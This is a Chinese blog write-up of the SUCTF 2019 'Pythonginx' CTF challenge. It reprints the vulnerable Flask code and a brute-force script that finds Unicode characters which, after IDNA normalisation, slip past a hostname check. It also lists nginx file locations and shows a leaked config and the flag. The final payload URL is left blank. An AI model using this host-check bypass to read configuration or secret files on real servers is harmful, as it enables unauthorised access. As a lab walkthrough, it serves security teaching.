[SUCTF 2019]Pythonginx-CSDN博客

本文链接：https://blog.csdn.net/wp568/article/details/132679297

下载源代码：

@app.route('/getUrl', methods=['GET', 'POST']) 
def getUrl(): 
    url = request.args.get("url") 
    host = parse.urlparse(url).hostname 
    if host == 'suctf.cc': 
        return "我扌 your problem? 111" 
    parts = list(urlsplit(url)) 
    host = parts[1] 
    if host == 'suctf.cc': 
        return "我扌 your problem? 222 " + host 
    newhost = [] 
    for h in host.split('.'): 
        newhost.append(h.encode('idna').decode('utf-8')) 
        parts[1] = '.'.join(newhost) #去掉 url 中的空格 
        finalUrl = urlunsplit(parts).split(' ')[0] 
        host = parse.urlparse(finalUrl).hostname 
        if host == 'suctf.cc': 
            return urllib.request.urlopen(finalUrl).read() 
        else: 
            return "我扌 your problem? 333"

改写代码，运行print（）看看：

import urllib
from urllib import parse
from urllib.parse import urlparse, urlunsplit, urlsplit


def getUrl():
    url = 'http://e2c924fc-a4e3-485b-8310-a79dcfd19a94.node4.buuoj.cn:81/'
    host = parse.urlparse(url).hostname

    print(host)

    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]

    print(host)

    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
        parts[1] = '.'.join(newhost) #去掉 url 中的空格
        finalUrl = urlunsplit(parts).split(' ')[0]
        host = parse.urlparse(finalUrl).hostname
        print(host)
        if host == 'suctf.cc':
            return urllib.request.urlopen(finalUrl).read()
        else:
            return "我扌 your problem? 333"

print(getUrl())

输出结果：

e2c924fc-a4e3-485b-8310-a79dcfd19a94.node4.buuoj.cn
e2c924fc-a4e3-485b-8310-a79dcfd19a94.node4.buuoj.cn:81
e2c924fc-a4e3-485b-8310-a79dcfd19a94
我扌 your problem? 333

修改代码，爆破出url：

from urllib import parse
from urllib.parse import urlparse, urlunsplit, urlsplit

def getUrl(url):
    url=url
    host=parse.urlparse(url).hostname
    if host =='suctf.cc':
        return False
    parts=list(urlsplit(url))
    host=parts[1]
    if host == 'suctf.cc':
        return False
    newhost=[]
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1]='.'.join(newhost)
    finalUrl=urlunsplit(parts).split(' ')[0]
    host=parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

def get_urlchr():
	for x in range(65536):
            c=chr(x)
            url="http://suctf.c{}".format(c)
            try:
                if getUrl(url):
                    print("str: "+c+" unicode: \\u"+str(hex(x))[2:])
            except:
                pass


get_urlchr()

输出：

str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: Ｃ unicode: \uff23
str: ｃ unicode: \uff43

选取一个：suctf.cⒸ

nginx重要文件储存位置

配置文件存放目录：/etc/nginx
主配置文件：/etc/nginx/conf/nginx.conf
管理脚本：/usr/lib64/systemd/system/nginx.service
模块：/usr/lisb64/nginx/modules
应用程序：/usr/sbin/nginx
程序默认存放位置：/usr/share/nginx/html
日志默认存放位置：/var/log/nginx
配置文件目录为：/usr/local/nginx/conf/nginx.conf

构建payload：

输出：

server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } }

获取flag

flag{eb9842ca-54fd-42cd-adcb-73be62b6ca33}